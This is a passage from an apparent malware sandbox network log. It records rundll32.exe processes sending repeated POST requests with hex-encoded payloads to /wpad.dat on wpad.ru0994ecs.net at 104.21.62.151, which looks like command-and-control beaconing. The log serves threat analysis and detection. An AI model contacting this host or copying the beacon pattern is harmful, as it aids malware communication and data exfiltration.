2024-04-16 21:02:39 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:40 UTC	543	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P6V%2FxDJonAttV7VjjUQQ%2Bmq5K79kHhVMCVn%2BoRpjCmq97IJGN7jUJY%2FrUlNffnp8YnfftEQpelc1NE5zGA0GfLFmESiAoB%2BTF4upiRqXcIuWY%2F7x%2B5BZLg%2BYlP8XnxQMIpTcue4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e1b5d2c7bb8-ATL
2024-04-16 21:02:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	49759	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:41 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:41 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:41 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EVq%2FA%2FcnxyRZWWRsGAnaTfCMkwFGYrpWiZGWrYnPv58T6dvFVXGhE3pGRRdz0fHFx1c5FGLGv7Y8pB6XFKPNm%2BblHasx%2FF4zaus3CUaXIxED8OxszsnADHXe6O7TXBBC49L1RWE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e258a1b44d5-ATL
2024-04-16 21:02:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.4	49760	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:41 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:41 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:41 UTC	539	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rzbshJNT78hpgYhZyLi0pso9xkl%2FW%2FEwXR3tNxTW%2F1TRFbGjUBeOmWcVUWlFtDUeh48K%2BRD5D9NhupM1qIzdQvufGxvBJORcb6xIb3G406ha1GA9%2BvdJPpJttSrj%2B7B7wTF2lgc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e263b2344ed-ATL
2024-04-16 21:02:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.4	49761	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:44 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:44 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:44 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:44 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=C2Fbyc6QVmECRMrYMD52pVa0Zi%2BW3h25zzQIN6RKB7WGM6cdYNNd%2B7G7XJ1%2BUngSZTnv8dx48uPOP3QczNzoBIuHGGWGgOofw3Z0plvzRlfrhTBGVIRxRqacDZMLUzBRwDbdNUw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e388c4f53c3-ATL
2024-04-16 21:02:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49762	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:45 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:45 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:46 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=oRW3VLRLzRZ8Ynv3Rpe1HnXkv17MT5%2BCuRsTNxKEP7Rlqqjf1jGX0hMEd46ZdE%2F%2Bk4zRgJa4xjGg3IgQDbdCySDmVJVDck%2FUCUOtYn8lRIyS5sey7HyU7hAbXvLPx6CnU%2FeGXFY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e41f94d184b-ATL
2024-04-16 21:02:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49763	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:46 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:46 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:46 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:46 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BT9Gtt%2F5DA0iHNKDt0XN42oBdTzlWqI4NkKsRy9b0HQJ2YoRXfp%2F3zmVXQauP0367nfjMRw1vY31YSR92%2F0MxlwKBZVUVuwCzAmAVPdLhq886I7Hn8%2FdSSXM4suvWR2dbjkbSBA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e42f80d6758-ATL
2024-04-16 21:02:46 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49764	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:48 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:48 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:48 UTC	531	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a114Ip3Ub0ElzqYdwc5o8Yg8gICz0HhJz6RZ5RPxaN026dimZq2lE0bdOJLZKbHPAdhbzy4RzQoDcNKKdW0mqr%2FuWLvl3k0a0DFFydhzznz%2Fb4SglyCcrO6Pb8dkIH77PtC1UAI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e5018f6673e-ATL
2024-04-16 21:02:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	49765	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:48 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:48 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:48 UTC	535	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j6UFj75zC%2BhrP4XyjFoAw6K2BEZxJzsz2nbQTgo3fO0BVmigIOJYnV40YwRvfmQO8eaD6THK4fuf%2BcZTwwu20OETIEFEUytvQa75kCEne1n9YWT%2F23mjnF8gGKqKnQDwt%2FSW9XA%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e502e9812d6-ATL
2024-04-16 21:02:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	49766	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:48 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:48 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:48 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:48 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=w7FvxtDCzZ%2FxhB%2BSZEIu6BB5HSbsHQDhr9QbUsGkQqXWWIt9tu1UZIYakcFVmWI6iGcj1VZRuVJS0TNykCa9ofCADC6qx2HeaMml0PIqp3OfH%2FnlOvSUExamRIpSU%2B%2FkF3cIDzY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e502a551392-ATL
2024-04-16 21:02:48 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	49767	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:48 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:48 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:49 UTC	529	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=e8snrMfumXiVQ3136Bf05FYAku4IPiW8ojqhYp5XmVhbPVTFpYh1yBAT3zBM7PkYvFS3aORbfpB7VNkdY0F5JGjC4Ni0r0JDkBuKJf9EV7%2B5Bh1pc9bXvu53o8mqduTQSHPj5Us%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e53fe55ad62-ATL
2024-04-16 21:02:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49768	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:48 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:48 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 34 31 62 30 31 61 65 33 63 61 63 32 35 64 66 61 62 61 36 34 30 37 66 39 37 35 34 30 62 62 61 64 38 65 64 36 35 65 63 31 38 33 39 38 37 34 35 66 66 66 30 37 36 35 62 33 34 36 39 62 61 39 37 37 35 31 35 39 31 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6541b01ae3cac25dfaba6407f97540bbad8ed65ec18398745fff0765b3469ba9775159173b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:49 UTC	537	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fyeTVsDrXJA0rnjoL4uO7Ho2BqJboI1AxvY0jBBpDBgMHyTb%2B8C0d8LILHCuJWa8SKm%2Fy%2B%2FVFVQVQklfMvHCV745CY0exbbbGYib27hyPrzj%2BMGNGBaKiSacmqtJeG6GNMLAB9k%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e540c081399-ATL
2024-04-16 21:02:49 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.4	49769	104.21.62.151	443	7200	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:50 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:50 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 32 31 62 30 31 64 33 32 32 62 38 33 39 61 34 62 31 61 61 32 32 36 64 38 31 32 66 31 33 62 30 62 31 39 37 36 64 39 30 31 38 33 30 38 34 32 35 38 66 65 65 30 61 35 30 33 32 30 65 64 38 66 33 37 34 30 39 65 32 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6521b01d322b839a4b1aa226d812f13b0b1976d90183084258fee0a50320ed8f37409e273b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:51 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:51 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0gM4s2KPKU%2Ba2Ha1J5JELwGwD9jEnr1qf0FWXLovQsSVwQNY1mFTX235bmDEnQ4dDN1bNAjZP35m4D6%2FYL0rnvv1IYh2Tbi3uLrmzMKSX5UjA%2FKUPsIEzQbHKcVxZsBogtOnh6w%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e605a2353d6-ATL
2024-04-16 21:02:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49770	104.21.62.151	443	2308	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:53 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
2024-04-16 21:02:53 UTC	156	OUT	Data Raw: 36 65 37 39 63 63 61 34 35 38 37 39 31 63 63 30 38 34 34 37 39 63 33 62 31 38 34 30 34 62 38 37 38 64 32 35 65 31 62 36 35 35 31 62 30 31 61 34 32 35 61 38 32 62 62 65 63 64 61 66 35 39 36 64 66 33 35 39 30 63 62 65 63 62 65 36 31 63 39 65 31 63 32 64 66 35 33 65 38 32 39 64 37 31 32 64 35 32 31 37 62 61 65 32 37 61 30 65 65 63 37 33 62 32 66 65 62 37 36 64 38 62 35 34 30 33 65 34 37 30 63 30 32 38 39 33 65 38 38 37 66 35 62 36 33 64 66 62 39 30 30 31 38 63 36 33 Data Ascii: 6e79cca458791cc084479c3b18404b878d25e1b6551b01a425a82bbecdaf596df3590cbecbe61c9e1c2df53e829d712d5217bae27a0eec73b2feb76d8b5403e470c02893e887f5b63dfb90018c63
2024-04-16 21:02:53 UTC	533	IN	HTTP/1.1 200 OK Date: Tue, 16 Apr 2024 21:02:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mX575a9LX5K7zPzFuOea5mdT0yPoLkI9kb901qqioIJ4o8sT%2B1iJeiiXA%2B2dhxsIUfSZEGkmC6wms1j9Qqnr96cQI204BJUIhuLPC2xt0fsV%2FMYpHuQbIwg4YZmBu9ykY72Jiwk%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87571e70d964451f-ATL
2024-04-16 21:02:53 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49771	104.21.62.151	443	4208	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-16 21:02:53 UTC	217	OUT	POST /wpad.dat HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0 Host: wpad.ru0994ecs.net Content-Length: 156 Connection: Keep-Alive Cache-Control: no-cache
